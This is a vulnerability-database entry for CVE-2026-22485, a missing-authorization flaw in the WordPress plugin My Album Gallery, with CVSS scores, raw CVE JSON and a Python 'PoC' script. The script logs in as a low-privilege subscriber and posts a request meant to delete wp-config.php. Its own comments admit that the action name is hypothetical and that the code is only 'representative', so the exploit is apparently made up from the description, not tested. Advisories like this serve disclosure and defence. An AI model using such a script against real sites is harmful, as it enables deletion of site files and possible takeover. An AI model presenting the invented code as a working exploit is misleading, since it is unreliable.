Security Vulnerability Report
中文
CVE-2026-22485 CVSS 6.5 MEDIUM

CVE-2026-22485

Published: 2026-03-25 17:16:31
Last Modified: 2026-04-24 16:32:54

Description

Missing Authorization vulnerability in Ruhul Amin My Album Gallery my-album-gallery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects My Album Gallery: from n/a through <= 1.0.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

My Album Gallery <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: My Album Gallery < 1.0.4 - Arbitrary File Deletion via Missing Authorization # Date: 2026-03-25 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/my-album-gallery/ # Software Link: https://downloads.wordpress.org/plugin/my-album-gallery.1.0.4.zip # Version: <= 1.0.4 # Tested on: WordPress 6.x target_url = "http://example.com/wp-admin/admin-ajax.php" # Low privilege user credentials (Subscriber) username = "subscriber" password = "password" # File to delete (relative to WordPress installation or absolute path depending on implementation) file_to_delete = "wp-config.php" # 1. Authenticate to get session cookie session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } login_response = session.post("http://example.com/wp-login.php", data=login_data) if login_response.status_code == 200: # 2. Send exploit payload # Note: The specific 'action' parameter depends on the plugin's actual implementation. # This is a representative PoC based on the vulnerability description. payload_data = { "action": "my_album_gallery_delete_file", # Hypothetical action name "file_path": file_to_delete } response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Request sent. Check if the file was deleted.") else: print("[-] Exploit request failed.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22485", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:30.940", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Ruhul Amin My Album Gallery my-album-gallery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects My Album Gallery: from n/a through <= 1.0.4."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Ruhul Amin My Album Gallery my-album-gallery permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a My Album Gallery: desde n/a hasta &lt;= 1.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/my-album-gallery/vulnerability/wordpress-my-album-gallery-plugin-1-0-4-arbitrary-file-deletion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}